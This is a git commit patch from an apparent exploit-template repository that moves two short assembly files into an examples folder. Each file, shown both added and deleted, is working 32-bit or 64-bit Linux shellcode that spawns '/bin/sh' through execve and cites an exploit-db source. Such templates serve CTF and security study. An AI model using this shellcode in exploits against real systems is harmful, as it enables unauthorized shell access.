From c41649b5077eb3e0d66043658df8bccbdfef0f1a Mon Sep 17 00:00:00 2001 From: Malfurious Date: Sat, 24 Dec 2022 07:50:44 -0500 Subject: shellcode: Move example code to a new directory This is mainly done to keep the top working directory (where the Makefile lives) cleaner. Signed-off-by: Malfurious --- templates/shellcode/examples/shell32.asm | 15 +++++++++++++++ templates/shellcode/examples/shell64.asm | 16 ++++++++++++++++ templates/shellcode/shell32.asm | 15 --------------- templates/shellcode/shell64.asm | 16 ---------------- 4 files changed, 31 insertions(+), 31 deletions(-) create mode 100644 templates/shellcode/examples/shell32.asm create mode 100644 templates/shellcode/examples/shell64.asm delete mode 100644 templates/shellcode/shell32.asm delete mode 100644 templates/shellcode/shell64.asm diff --git a/templates/shellcode/examples/shell32.asm b/templates/shellcode/examples/shell32.asm new file mode 100644 index 0000000..5ff2e12 --- /dev/null +++ b/templates/shellcode/examples/shell32.asm @@ -0,0 +1,15 @@ +[SECTION .text] +global _start + +; https://www.exploit-db.com/shellcodes/46809 + +_start: + xor ecx, ecx + xor edx, edx + push 0xb + pop eax + push ecx + push 0x68732f2f + push 0x6e69622f + mov ebx, esp + int 0x80 diff --git a/templates/shellcode/examples/shell64.asm b/templates/shellcode/examples/shell64.asm new file mode 100644 index 0000000..2353b6f --- /dev/null +++ b/templates/shellcode/examples/shell64.asm @@ -0,0 +1,16 @@ +[SECTION .text] +global _start + +; https://www.exploit-db.com/shellcodes/47008 + +_start: + xor rsi, rsi + xor rdx, rdx + push rsi + mov rdi, 0x68732f2f6e69622f + push rdi + push rsp + pop rdi + mov al, 0x3b + cdq + syscall diff --git a/templates/shellcode/shell32.asm b/templates/shellcode/shell32.asm deleted file mode 100644 index 5ff2e12..0000000 --- a/templates/shellcode/shell32.asm +++ /dev/null @@ -1,15 +0,0 @@ -[SECTION .text] -global _start - -; https://www.exploit-db.com/shellcodes/46809 - -_start: - xor ecx, ecx - xor edx, edx - push 0xb - pop eax - push ecx - push 0x68732f2f - push 0x6e69622f - mov ebx, esp - int 0x80 diff --git a/templates/shellcode/shell64.asm b/templates/shellcode/shell64.asm deleted file mode 100644 index 2353b6f..0000000 --- a/templates/shellcode/shell64.asm +++ /dev/null @@ -1,16 +0,0 @@ -[SECTION .text] -global _start - -; https://www.exploit-db.com/shellcodes/47008 - -_start: - xor rsi, rsi - xor rdx, rdx - push rsi - mov rdi, 0x68732f2f6e69622f - push rdi - push rsp - pop rdi - mov al, 0x3b - cdq - syscall -- cgit v1.2.3